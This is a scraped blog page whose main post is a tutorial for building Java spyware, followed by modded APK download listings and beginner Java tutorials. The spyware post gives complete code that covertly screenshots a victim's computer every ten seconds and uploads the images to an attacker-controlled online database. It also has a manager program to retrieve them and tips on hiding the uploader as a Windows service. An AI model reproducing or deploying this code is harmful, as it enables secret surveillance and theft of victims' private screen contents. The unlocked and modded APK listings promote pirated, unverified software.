Trending
Loading...
  • New Movies
  • Recent Games
  • Tech Review

Tab 1 Top Area

Tech News

Game Reviews

Recent Post

Sunday 26 March 2017
Creating a network spyware using java

Creating a network spyware using java

According to wikipedia


Spyware is software that aims to gather information about a person or organization without their knowledge, that may send such information to another entity without the consumer's consent, or that asserts control over a device without the consumer's knowledge.
Spyware is basically used to transmit data from host's computer  to the hacker without their prior knowledge.


[Before Starting and going any deep in to the  topic i want to make it very clear that all the programs and coding describe below are for educational purpose only.If it causes any damage to the person who is using it or to the person on whom it is used author or the website takes no responsibility ]


Before Starting 


This tutorial will tell you everything which you will need to make a fully packed spy ware for yourself.
It will provide you with all the program codes and links to the required software's.

What all you need


Before starting here is a checklist of  tools and software you will be needed to make this spyware.

1)Java Development Kit(JDK)
2)MySQl connector for java.:- In order to use sql database in java program.
    NOTE :- you need not to have a MySQL database.If you have it then also it will never be needed.
3)Any java IDE.

Here i am assuming that you have install and configure everything listed above if you have found in any problem in doing so then you could google it.


Spyware's working


Our spyware is simple and could be made easily with less coding.It regularly takes screen capture after a specific interval (may be 5 sec to 10 min per screen shot depending upon database size)  of the client (where you have deploy the virus) and stores it on an online database which is administered by you.
There are two different programs which will work on two different platforms.
1) Our main virus program(Uploader.java) which will capture regular screen shot and upload it to database will run on the  client machine.
2) Our manager program(Manager.java) will run on our machine and it will regularly download the screenshot from database and cleans the database for new screenshots to be uploaded.


Need of an online free SQL database


I am sure that from our spyware working you could have guess out that this virus need a online database to function.Although there are many in the list you have to select a better and faster one with remote connections  available(most important) .
You could google it to find one for you or check this list for top hosting sites.But still i think you should use
Free SQL Database, however it provides only 5 MB of space but it is fast and reliable.

Once you have created you account you can create a database and an email will be send to you with the following details :-

Database Host            : -<Your database host>
Database  Username   :-<Your database username>
Database Password    :-<Your database password>

Just copy it somewhere as you will need it very often.


Designing Our Database 

Our database is very simple and contains only 1 table with 2 column (id ) and (imagedata) where id stores image index and data stores image itself.

Below in your account page there is a link for phpmyadmin click there a login form will be shown as below.



Where ,
                   server is Database Host
                   username is Database Username
                   and Password is Database password which you got from the Hosting site

Once you have successfully login  then on the menu tab ,select your database and then you will find (SQL) menu just click on it and run this sql code.



CREATE TABLE  `images` (
`id` int(10) unsigned NOT NULL auto_increment,

`image` longblob NOT NULL,
PRIMARY KEY (`id`)
);


This will create table images in your database with two columns id and image.

Here comes the end of database designing.

Programming client side virus,Uploder.java

This class uses the Robot class of java to capture screen shot and store it onto the database .
Here is the code for the Uploder.java file.






@author Quadgen -shashank sahu
package databaseVirus;

import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;

import javax.imageio.ImageIO;


class Uploder
{

public static Connection getConnection()
{

String driver = "YOUR DATBASE HOST HERE";
String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>";
String u = "<DATABASE USERNAME>";
String p = "<DATABASE PASSWORD>";
try {
Class.forName(driver);


} catch (ClassNotFoundException e) {

getConnection();
}
Connection conn = null;
try {
conn = DriverManager.getConnection(url, u, p);
}
catch (SQLException e) {
getConnection();

}
return conn;
}
static Connection conn;
public static void main(String args[])throws Exception
{
conn = getConnection();
int fre=10000;//10 seconds, defines screen shot per 10 seconds
while(true)
{
try{



BufferedImage originalImage=getImage();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(originalImage, "jpg", baos);
byte[] imageInByte = baos.toByteArray();
String insertImageSql = "INSERT INTO "
+ "images(image)"
+ " VALUES(?)";
PreparedStatement preparedStatement = conn.prepareStatement(insertImageSql);
preparedStatement.setBytes(1, imageInByte);
preparedStatement.executeUpdate();

Thread.sleep(fre);

}



catch(Exception e)
{
continue;
}



}



}
public static BufferedImage getImage() throws AWTException
{
Dimension screenDim = Toolkit.getDefaultToolkit().getScreenSize();
Robot robot = null;

robot = new Robot();



BufferedImage image = robot.createScreenCapture(new Rectangle(0, 0, (int) screenDim.getWidth(),(int) screenDim.getHeight()));
return image;



}


}
dfdfd

NOTE   

You have to enter your own Database USERNAME and PASSWORD as and when required.
 Also you could change the fre(frequency ) variable as per you requirement don't set it too low                         otherwise you will end your 5 MB space in a minute or two.(Remember 1sec=1000 milli seconds)
The above program is designed in a way if some error occur which might be no internet connection or library load failure or could not capture image or database space is full then it will automatically handel it and by entering into a infinite loop until the exception ends.(E.g. Internet Connection regained).


Programming manager program (Manager.java) 


This program will be executed by the hacker it will clean the database after successfully  downloading and storing  all the  screen shot uploaded by the client.

Manager.java




import java.io.FileOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;





public class Manager
{
static int start,end;

public static Connection getConnection()
{
String driver = "YOUR DATBASE HOST HERE";
String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>";
String u = "<DATABASE USERNAME>";
String p = "<DATABASE PASSWORD>";
try {
Class.forName(driver);


} catch (ClassNotFoundException e) {

getConnection();
}
Connection conn = null;
try {
conn = DriverManager.getConnection(url, u, p);
}
catch (SQLException e) {
getConnection();

}
return conn;
}
static Connection conn;
public static void main()throws Exception
{
conn=getConnection();
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM images");
int id = 0;
start=0;
end=0;
if (rs.next() == false) {
System.out.println("No image is found in database ");

}
else {
start=rs.getInt(1);
do {
id = rs.getInt(1);
byte[] image = rs.getBytes(2);
FileOutputStream fileOutputStream = new FileOutputStream("D:/"+id+".png");
fileOutputStream.write(image);
System.out.println("\nImage successully retrieved from database. Id of image:"+ id );
fileOutputStream.close();
} while (rs.next());
}
end=id;
String sql = "DELETE FROM images " +
"WHERE id<="+id+"";
stmt.executeUpdate(sql);
System.out.print("deleted record "+start+" to "+id);
System.out.print((id-start+1)+"files Downloaded");
stmt.close();
rs.close();
conn.close();

}




}



Packaging and deploying

You could now easily convert your Uploder.java  program into a window service by the tools which are available on net.A window service could run on the host when the computer start and stops when the computer stops.It also runs on the background so there is no need for user interference.
Look here if you want to know how to do that.

Hope this help you if yes then tell more of your friends about it.Enjoy.
Also you could leave comment if you need any help from me.

PicsArt Photo Studio v9.0.3 Unlocked APK

PicsArt Photo Studio v9.0.3 Unlocked APK

PicsArt Photo Studio
It’s not just the photo editor, where you can add a background, change the color and other standard features. Here you can find almost everything that could be combined in a single application, and even more so, there is a drawing tool! Also, this app includes a social network, so that your photos you can upload right here. Share your photos, or look at pictures of other people around the world!
Features
  • The social network for creative people
  • Hundreds of tools for photo editing
  • Filters and effects settings
  • Ability to add text labels and images
  • collage master
  • Camera
  • A tool for the professional painting
  • Additional paint brushes
WHAT’S NEW
  • This release is *abuzz* with bug fixes (get it?)
How to Install ?

  1. Download & Install the Apk from the links given below
  2. Done ! Enjoy 
Screenshots

Download & Links

DU Battery Saver v4.6.0.1

DU Battery Saver v4.6.0.1

DU Battery Saver & Phone Charger 
DU Battery Saver, the world’s leading battery saver and Android power doctor & manager, is a FREE battery saving app that makes your battery last longer! Get up to 50% more battery life for Android phones or tablets! With DU Battery Saver’s smart pre-set battery power management modes, one-touch controls and healthy charge stage features, solve battery problems and extend your battery life.
Highlights of DU Battery Saver (Android power doctor & manager):
★ Fast Battery Saver: Instantly find and solve battery problems with the “Optimize” button.
★ Simple Battery Saver: Use smart pre-set battery power management modes or create your own to get high performance and great energy savings.
★ Effective Battery Saver: Protect your battery with healthy charging to extend life of your battery.
★ Convenient Battery Saver: The home screen “Optimize” widget allows you to stop power consumptive background apps with one tap to boost battery life.
★ Easy & Powerful Battery Saver: Extend your Android battery life by up to 50% without charging.
★ Global Battery Saver: Supports Deutsch, Español, English, Française, Português, Português do Brasil, Pусский, Türk, Bahasa Indonesia, Italiano, العربية, ภาษาไทย, Tiếng Việt, 日本語, 한국의, 中文(简体), and 中文(繁體).
Features and Benefits of DU Battery Saver (Android power doctor & manager):

► ACCURATE STATUS: See exactly how much battery charge you have left with a detailed analysis of your Android apps AND hardware;
► SMART PRE-SET MODES: Choose or customize a mode that fits your energy stage;
► ONE-CLICK OPTIMIZATION: Instantly find and fix battery power consumption problems and unlock detailed settings to super-tune your energy savings;
► ANYTIME OPTIMIZATION: Manage background apps and phone hardware easily with the smart home screen widget;
► BETTER BATTERY DETAILS: View your phone’s battery power level by percentage or by time remaining;
► HEALTHY CHARGE STAGE MANAGER: Track and implement healthy charging practices in different stage s to keep your battery working its best;
Mod Fashion
Pro Features Unlocked already, which only available only when you complete given tasks or pay some real money ….
How to install ?
  1. Download a copy of this app..
  2. Uninstall Previous Version.
  3. Install normally.
  4. Done !
Downloads
Saturday 25 March 2017
Piano Tiles 2 v3.0.0.401 Mega MOD APK

Piano Tiles 2 v3.0.0.401 Mega MOD APK


Piano Tiles 2
Piano Tiles 2 is the sequel to the hugely popular game Piano Tiles (Don’t Tap the White Tile). New gameplay, first-class sound quality and a global competition mode give your fingers a fast paced thrill with the elegance of piano playing!
How To Play
  • The rules are clear: just tap the black tiles to the music and avoid tapping anywhere else.
  • Try it out, enjoy the piano music, train your fingers to be faster, and see if you can beat your friends!
MOD  Fashion
  • Unlimited Gems
  • Free Shopping
  • Infinite Energy
  • Massive Coins For Daily Rewards
  • Song Unlock Level Require Reduced to 1
Note: Diamond is infinite, even if it shows 0 you can still buy, remove the VIP and diamond purchase, force all the songs for the notes to buy!

How To Install ?
  1. Download the apk given here
  2. Put it on your phone and Install the apk
  3. Thats all Enjoy 
How To FiX FB Login?
  • Login to Facebook.
  • Go to Apps
  • Find piano tiles
  • Remove app
  • Now login again from piano tiles latest version.
Screenshots
piano tiles screen shot 1piano tiles screen shot 2

Download Links
no image

How to write on console screen




                        Write on output screen


Writing something on the output screen in java is a easy task and is the base of any simple program written in java. We will here see how we can do so .


Output Functions

In java there are two output functions print() and println() which are used to display text or values of variables or both  on the output screen in java.Let's have a look at them.

print():- This function print the text given in double quotes i.e.("Your Text Here") as it is but does not change the line it means when it is once again invoked with different text then it will print that text on the same line.
E.g :- If i write these lines of codes
                     System.out.print("My name is ");
                     System.out.print("Shashank sahu");
          Then output will be as follows :-
 
            My name is Shashank sahu

println():-  This function print the text given in double quotes i.e.("Your Text Here") as it is but unlike print() it changes the line it means when it is once again invoked with different text then it will print that text on the next  line.

E.g :- If i write these lines of codes
                     System.out.println("My name is ");
                     System.out.print("Shashank sahu");
          Then output will be as follows :-
 
            My name is 
            Shashank sahu

You can use this function to change line by typing this code
                          System.out.println();
             
OK, we have learn to print message or simple text what about variables how we could print there values ?
In order to print value stored in variables we have to type the variable inside the print or println function without double codes("") this will print the values stored in them.Lets have a look at this simple program.


class PrintExample
{
public static void main(String args[])
{
int a=5,b=10,c;
c=a+b;
System.out.print("value of a is "+a);
System.out.print("value of b is "+b);
System.out.println("value of c is "+c);
System.out.println("value of a+b+c is "+ a+b+c);
System.out.println("value of (a+b+c) is "+(a+b+c));
}
}


Output :-
value of a is 5
value of b is 10
value of c is 15
value of a+b+c is 51015
value of (a+b+c) is 30


no image

Basic calculation in java


                                                 

           Program To Add Two Numbers      

     The basic of programming is to learn simple math operations. However you  need not to be a great mathematician in order to do so.There is a Math class in java which enable you to do so.However here we are not covering it here i am showing you use of different operators in java ,and here we begin with our addition program.

    class Addition
    {

    public static void main(String args[])
    {
    int a,b,sum;  // declaring variables use to store two numbers and sum of it
    a=5;
    b=4;
    sum=a+b;  // "+" operator is used to add the values stored in variables
    System.out.print("The sum of  "+a+" and "+b+" is "+sum);
    }//closing of main()
    }// closing of class


    Output:-


    The sum of  5 and 4 is 9






                  Program To Subtract Two Numbers



    Now here is the program to subtract two numbers.

    class Subtraction
    {
    public static void main(String args[])
    {
    int a,b,sub;  // declaring variables use to store two numbers and difference of it
    a=5;
    b=4;
    sub=a-b;  // "+" operator is used to add the values stored in variables
    System.out.print("The difference of  "+a+" and "+b+" is "+sub);
    }//closing of main()
    }// closing of class


    Output:-


    The difference of  5 and 4 is 1



    TIPS  :-Do you know the difference between subtraction and difference? If i say subtract A from B ,then it means (B - A),notice it can be negative as well as positive depending upon values but if i say find the difference between A and B then you have to decide which one is greater  and then you will subtract ,it will give you the difference which can't be negative. 

                        

                       Program To Multiply Two Numbers

    Now below is the program to multiply two numbers.

    class Multiplication
    {
    public static void main(String args[])
    {
    int a,b,pro;  // declaring variables use to store two numbers and product of it
    a=5;
    b=4;
    pro=a*b;  // "+" operator is used to add the values stored in variables
    System.out.print("The product of  "+a+" and "+b+" is "+pro);
    }//closing of main()
    }// closing of class


    Output:-


    The product of  5 and 4 is 20





                              Program To Divide Two Numbers

    Now here is the program to divide two numbers.

    class Division
    {
    public static void main(String args[])
    {
    int a,b,div;  // declaring variables use to store two numbers and quotient of it
    a=5;
    b=4;
    div=a/b;  // "/" operator is used to divide the values stored in variables
    System.out.print("The quotient of  "+a+" / "+b+" is "+div);
    }//closing of main()
    }// closing of class


    Output:-


    The quotient of  5 / 4 is 1



      If i am not wrong,my dear readers would be thinking that i am poor in maths as i have written that 5 / 4=1
    but let me tell you and explain you this stuff.In java and i think in almost every programming language there is a specific rule to solve division and multiplication.If you have notice 5 is of integer type and so is  4 ,and in java when an integer is either divided or multiplied by an integer the result is always an integer.
    E.g :-
            4 / 3 = 1
            45 / 7= 6
    Fractional part is   ignored only the quotient part is take.Now what to do to take fraction also in account it's simple just convert one to double or floating datatype and the work is done.
    E.g :-
        4 / 3.0=1.33333........
        45.0 / 7=6.428.......

    To make the above program take fractional part into consideration we need to do following changes.(Shown by Blue text)

                               Program To Divide Two Numbers

    Now here is the program to divide two numbers.

    class Division
    {
    public static void main(String args[])
    {
    double a,b,div;  // declaring variables use to store two numbers and quotient of it
    a=5.0;// not a compulsion to write 5.0
    b=4.0;
    div=a/b;  // "/" operator is used to divide the values stored in variables
    System.out.print("The quotient of  "+a+" / "+b+" is "+div);
    }//closing of main()
    }// closing of class


    Output:-


    The quotient of  5 / 4 is 1.25




    The whole stuff can be categorized  as following.


    int     / int    = int          23    / 4   =5
    float /  int    = float      23.0 / 4 =5.75
    int    /  float = float      23    / 4.0=5.75
    float /  float = float      23.0 / 4.0=5.75

    Now if i am not wrong you might have guessed a similar problem in all the above programs,Yes the problem is the above programs do calculation on only two constants i.e. 4 and 5 .So to upgrade these programs  to programs which might give user the feasibility  to enter their own numbers we have a tutorial on Taking User Input. In which i will tell you how to take input from the user through keyboard.



                                                  



    Taking input from user in java

    Taking input from user in java





                                  Taking User Input

    User input is the most basic and the most important action of any application . In our last tutorial we have seen  programs of addition ,subtraction,multiplication and division but the basic problem in all of those program was there was no provision for user input moreover they do calculation on only two specific numbers (4 and 5 in that case) . Now in this page we will see different classes and streams provided in java to take text input from user through console (output screen ) . Lets proceed. . . . .                                                  

    1) Using method (function)call  method                   

     This method is very simple . You just have to put in the variables along with data type in between the paranthesis of the method(function).


    Eg:  <returntype><method name>(datatype1 variable1 ,datatype2 variable 2,. . . . . . )


    Below is a simple program which user the above method to input an integer, an double,a string ,a character and a Boolean value from the user.



    class Input1                        
    {
    public static void main(int a,double b,String str,char ch, boolean flag)//method with parameters to input data from console
    {
    //print the data back on the output screen
    System.out.println("The integer number is "+a);
    System.out.println("The double number is "+b);
    System.out.println("The String is "+str);
    System.out.println("The character is "+ch);
    System.out.println("The boolean value is "+flag);// note boolean value can either be true or false
    }//closing of main()
    }// closing of class

    This program when execute will generate a method call window which will promt user to input the required values and then it will  show the output.      




    2) Using InputStreamReader and BufferedReader classes .


    There two classes provided by java are capable of input any type of text data (int , float ,byte ,short,long ,double ,String , char and boolean) . In order to input data you have to follow there steps :-


    a)   Create the  object of InputStreamReader class and then you have to link it to the object of BufferedReader class this will create a stream which could input data.


        InputStreamReader isr = new InputStreamReader(System.in) ;
           BufferedReader br  = new BufferedReader(isr);

                                                 OR
      BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

    Through above code we have created the object of InputStreamReader (i.e. isr ) and connected it to BufferedReader object (i.e. br) now we can use br to invoke predefined functions  read() and readLine() which will input data from console.

    b) read()- This funcion is used to input a  character from the console.
                                       char ch = (char)br.read();
                     In above code ch is a character variable .Here (char) is to type cast the input of br.read() into                        character type.
       readLine() - This function is used to input a string(i.e. text) from the user.
                               String str= br.readLine();
       In above code str is a String variable and br.readLine() input a string.


    c) In order to convert Text input ie(String ) into other types i.e.(int,float,double ext.) parse is used lets see how .

    Syntax:-  <data type> <variable name>= <DataType_ in _full>.parse<Datatype>(br.readLine());

          Lets see how we can use it to input different data types.
         
         #) To input short integer:
                  short num=Short.parseShort(br.readLine());
         #) To input integer value :
                  int num =Integer.parseInt(br.readLine());
        #)  To input long value :
                  long num=Long.parseLong(br.readLine());
        #)  To input float value:
                  float num=Float.parseFloat(br.readLine());
        #)  To input double value
                  Double num = Double.parseDouble(br.readLine());
        #)  To input boolean value
                  boolean num = Boolean.parseBoolean(br.readLine());

     Now we will make the same program which we have seen in function(method) call method by using this method and let's see the changes.


    import java.io.*; /*Both the classes InputStream and BufferedReader are stored in predefined  io(Input                                                                         output) package so we have to import it*/
    class Input2                                              
    {
    public static void main(String args[])throws IOException// throws the input output exception generated
    {
    int a;//variable to store integer value
    double b;//variable to store double value
    String str;//variable to store String value
    char ch;//variable to store character value
    boolean flag;//variable to store booleanvalue

    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
    System.out.print("Enter an integer number :");
    a=Integer.parseInt(br.readLine());
    System.out.print("Enter an double number :");
    b=Double.parseDouble(br.readLine());
    System.out.print("Enter an string ");
    str=br.readLine();
    System.out.print("Enter an character ");
    ch=(char)br.read();
    System.out.print("Enter an boolean value ");
    flag=Boolean.parseBoolean(br.readLine());
    System.out.println("The Integer number is "+a);
    System.out.println("The double number is "+b);
    System.out.println("The String is "+str);
    System.out.println("The Character is "+ch);
    System.out.println("The Boolean value is "+flag);
    }//closing of main()
    }// closing of class






    Copyright © 2012 gogfmj All Right Reserved
    Designed by Odd Themes - Published By Blogger Templates20
    Back To Top